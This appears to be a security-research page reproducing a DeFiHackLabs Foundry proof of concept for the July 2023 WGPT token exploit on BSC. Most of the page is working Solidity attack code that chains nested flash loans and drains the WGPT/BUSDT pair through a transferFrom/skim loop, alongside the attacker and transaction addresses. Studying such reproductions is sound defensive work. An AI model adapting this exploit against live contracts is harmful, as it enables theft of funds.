Public reproduction file

src/test/2023-07/WGPT_exp.sol

Public reproduction file for dataset entry WGPT.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-07/WGPT_exp.sol139 lines

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @KeyInfo - Total Lost : ~80K USD$
8// Attacker : https://bscscan.com/address/0xdc459596aed13b9a52fb31e20176a7d430be8b94
9// Attack Contract : https://bscscan.com/address/0x5336a15f27b74f62cc182388c005df419ffb58b8
10// Vulnerable Contract : https://bscscan.com/address/0x1f415255f7e2a8546559a553e962de7bc60d7942
11// Attack Tx : https://bscscan.com/tx/0x258e53526e5a48feb1e4beadbf7ee53e07e816681ea297332533371032446bfd
12 
13// @Analysis
14// https://twitter.com/Phalcon_xyz/status/1679042549946933248
15// https://twitter.com/BeosinAlert/status/1679028240982368261
16 
17interface IWGPT is IERC20 {
18    function isSwap() external returns (bool);
19 
20    function burnToken() external returns (bool);
21 
22    function burnRate() external returns (uint256);
23}
24 
25contract WGPTTest is Test {
26    IERC20 private constant BUSDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
27    // Token created by the exploiter
28    IERC20 private constant ExpToken = IERC20(0xe1272a840F574b68dE861eC5009784e3411cb96c);
29    IWGPT private constant WGPT = IWGPT(0x1f415255f7E2a8546559a553E962dE7BC60d7942);
30    Uni_Router_V2 private constant Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
31    // Pancake Pair created by the exploiter
32    Uni_Pair_V2 private constant BUSDT_ExpToken = Uni_Pair_V2(0xaa07222e4c3295C4E881ac8640Fbe5fB921D6840);
33    Uni_Pair_V2 private constant WGPT_BUSDT = Uni_Pair_V2(0x5a596eAE0010E16ed3B021FC09BbF0b7f1B2d3cD);
34    IDPPOracle private constant DPPOracle1 = IDPPOracle(0xFeAFe253802b77456B4627F8c2306a9CeBb5d681);
35    IDPPOracle private constant DPPOracle2 = IDPPOracle(0x9ad32e3054268B849b84a8dBcC7c8f7c52E4e69A);
36    IDPPOracle private constant DPPOracle3 = IDPPOracle(0x26d0c625e5F5D6de034495fbDe1F6e9377185618);
37    IDPPOracle private constant DPP = IDPPOracle(0x6098A5638d8D7e9Ed2f952d35B2b67c34EC6B476);
38    IDPPOracle private constant DPPAdvanced = IDPPOracle(0x81917eb96b397dFb1C6000d28A5bc08c0f05fC1d);
39    Uni_Pair_V3 private constant PoolV3 = Uni_Pair_V3(0x4f3126d5DE26413AbDCF6948943FB9D0847d9818);
40    address private constant exploiter = 0xdC459596aeD13B9a52FB31E20176a7D430Be8b94;
41 
42    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
43 
44    function setUp() public {
45        cheats.createSelectFork("bsc", 29_891_709);
46        cheats.label(address(BUSDT), "BUSDT");
47        cheats.label(address(ExpToken), "ExpToken");
48        cheats.label(address(WGPT), "WGPT");
49        cheats.label(address(Router), "Router");
50        cheats.label(address(BUSDT_ExpToken), "BUSDT_ExpToken");
51        cheats.label(address(WGPT_BUSDT), "WGPT_BUSDT");
52        cheats.label(address(DPPOracle1), "DPPOracle1");
53        cheats.label(address(DPPOracle2), "DPPOracle2");
54        cheats.label(address(DPPOracle3), "DPPOracle3");
55        cheats.label(address(DPP), "DPP");
56        cheats.label(address(DPPAdvanced), "DPPAdvanced");
57        cheats.label(address(PoolV3), "PoolV3");
58        cheats.label(exploiter, "Exploiter");
59    }
60 
61    function testExploit() public {
62        deal(address(BUSDT), address(this), 0);
63        emit log_named_decimal_uint("Attacker BUSDT balance before", BUSDT.balanceOf(address(this)), BUSDT.decimals());
64        ExpToken.approve(address(Router), type(uint256).max);
65        BUSDT.approve(address(Router), type(uint256).max);
66        WGPT.approve(address(this), type(uint256).max);
67        bytes memory swapData =
68            hex"0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000027b46536c66c8e3000000000000000000000000000000000000000000000000002a5a058fc295ed000000000000000000000000000000000000000000000000000000000000000000008c00000000000000000000000000000000000000000000065a4da25d3016c00000";
69 
70        if (WGPT.isSwap()) {
71            WGPT.burnToken();
72        }
73 
74        assertEq(WGPT.burnRate(), 2000);
75 
76        vm.startPrank(address(this), exploiter);
77        BUSDT_ExpToken.swap(BUSDT.balanceOf(address(BUSDT_ExpToken)) / 10, 90e18, address(this), swapData);
78        vm.stopPrank();
79 
80        emit log_named_decimal_uint("Attacker BUSDT balance after", BUSDT.balanceOf(address(this)), BUSDT.decimals());
81    }
82 
83    function pancakeCall(address _sender, uint256 _amount0, uint256 _amount1, bytes calldata _data) external {
84        BUSDT.transfer(address(WGPT), 1);
85        BUSDT.transfer(address(WGPT_BUSDT), 2);
86        DPPOracle1.flashLoan(0, BUSDT.balanceOf(address(DPPOracle1)), address(this), _data);
87        ExpToken.transfer(address(WGPT_BUSDT), 10);
88        ExpToken.transfer(address(WGPT), 100);
89        BUSDT.transfer(address(BUSDT_ExpToken), _amount0);
90        ExpToken.transfer(address(BUSDT_ExpToken), 90_909 * 1e15);
91    }
92 
93    function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
94        if (msg.sender == address(DPPOracle1)) {
95            DPPOracle2.flashLoan(0, BUSDT.balanceOf(address(DPPOracle2)), address(this), data);
96        } else if (msg.sender == address(DPPOracle2)) {
97            DPPOracle3.flashLoan(0, BUSDT.balanceOf(address(DPPOracle3)), address(this), data);
98        } else if (msg.sender == address(DPPOracle3)) {
99            DPP.flashLoan(0, BUSDT.balanceOf(address(DPP)), address(this), data);
100        } else if (msg.sender == address(DPP)) {
101            DPPAdvanced.flashLoan(0, BUSDT.balanceOf(address(DPPAdvanced)), address(this), data);
102        } else {
103            PoolV3.flash(address(this), 76_727_748_945_585_195_946_976, 0, bytes(""));
104        }
105        BUSDT.transfer(msg.sender, quoteAmount);
106    }
107 
108    function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {
109        address[] memory path = new address[](2);
110        path[0] = address(BUSDT);
111        path[1] = address(WGPT);
112        Router.swapExactTokensForTokens(200_000 * 1e18, 0, path, address(this), block.timestamp + 1000);
113        assertEq(WGPT.burnRate(), 2000);
114        BUSDT.transfer(address(WGPT), 30_000 * 1e18);
115        ExpToken.transfer(address(WGPT_BUSDT), 1e6);
116        ExpToken.transfer(address(WGPT), 1);
117 
118        // Surely math here for transfer amount calculation is different (and it's not entirely clear to me)
119        // I use following code here only for PoC to work
120        // Start exploit
121        while (WGPT_BUSDT.totalSupply() > 100_200 * 1e18) {
122            WGPT.transferFrom(address(this), address(WGPT_BUSDT), WGPT.balanceOf(address(this)) / 99);
123            WGPT_BUSDT.skim(address(this));
124        }
125        // End exploit
126 
127        ExpToken.transfer(address(WGPT_BUSDT), 2000);
128        ExpToken.transfer(address(WGPT), 1000);
129        // ExpToken.transferFrom(exploiter, address(this), 400_000 * 1e18);
130        // No sufficient allowance so using deal cheat here
131        deal(address(ExpToken), address(this), ExpToken.balanceOf(address(this)) + 400_000 * 1e18);
132        path[0] = address(WGPT);
133        path[1] = address(BUSDT);
134        uint256[] memory amounts = Router.getAmountsOut(WGPT.balanceOf(address(this)) - 128e18, path);
135        WGPT.transfer(address(WGPT_BUSDT), WGPT.balanceOf(address(this)));
136        WGPT_BUSDT.swap(0, amounts[1], address(this), bytes(""));
137        BUSDT.transfer(address(PoolV3), 76_727_748_945_585_195_946_976 + fee0);
138    }
139}

Analysis

Dataset entry

Public Foundry test for “WGPT” (2023-07-12). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

23 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

src/test/2023-07/ApeDAO_exp.solSame month in the dataset · 103 lines
src/test/2023-07/ArcadiaFi_exp.solSame month in the dataset · 288 lines
src/test/2023-07/AzukiDAO_exp.solSame month in the dataset · 87 lines
src/test/2023-07/Bamboo_exp.solSame month in the dataset · 85 lines
src/test/2023-07/Bao_exp.solSame month in the dataset · 174 lines
src/test/2023-07/BNO_exp.solSame month in the dataset · 94 lines
src/test/2023-07/Carson_exp.solSame month in the dataset · 100 lines
src/test/2023-07/Civfund_exp.solSame month in the dataset · 250 lines
src/test/2023-07/CIVNFT_exp.solSame month in the dataset · 116 lines
src/test/2023-07/Conic_exp.solSame month in the dataset · 274 lines
src/test/2023-07/Conic02_exp.solSame month in the dataset · 131 lines
src/test/2023-07/Curve_exp01.solSame month in the dataset · 95 lines
src/test/2023-07/FFIST_exp.solSame month in the dataset · 80 lines
src/test/2023-07/GYMNET_exp.solSame month in the dataset · 148 lines
src/test/2023-07/Libertify_exp.solSame month in the dataset · 149 lines
src/test/2023-07/MintoFinance_exp.solSame month in the dataset · 104 lines
src/test/2023-07/NewFi_exp.solSame month in the dataset · 99 lines
src/test/2023-07/Palmswap_exp.solSame month in the dataset · 105 lines
src/test/2023-07/Platypus02_exp.solSame month in the dataset · 93 lines
src/test/2023-07/RodeoFinance_exp.solSame month in the dataset · 152 lines
src/test/2023-07/SUT_exp.solSame month in the dataset · 104 lines
src/test/2023-07/USDTStakingContract28_exp.solSame month in the dataset · 64 lines
src/test/2023-07/Utopia_exp.solSame month in the dataset · 86 lines

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

Attacker
0xdc459596aed13b9a52fb31e20176a7d430be8b94
Attack Contract
0x5336a15f27b74f62cc182388c005df419ffb58b8
Vulnerable Contract
0x1f415255f7e2a8546559a553e962de7bc60d7942

Attack Tx
0x258e53526e5a48feb1e4beadbf7ee53e07e816681ea297332533371032446bfd

File record

Name: WGPT
Path: src/test/2023-07/WGPT_exp.sol
Repository: SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit: 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob: 8ee5a0b58aee73ddc994227206b29c126b0e2398
Language: Solidity
Size: 140 lines
Date: 2023-07-12
Licence: file header UNLICENSED; repository Apache-2.0
Retrieved: 2026-10-19

Provenance

Path src/test/2023-07/WGPT_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 8ee5a0b58aee73ddc994227206b29c126b0e2398, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.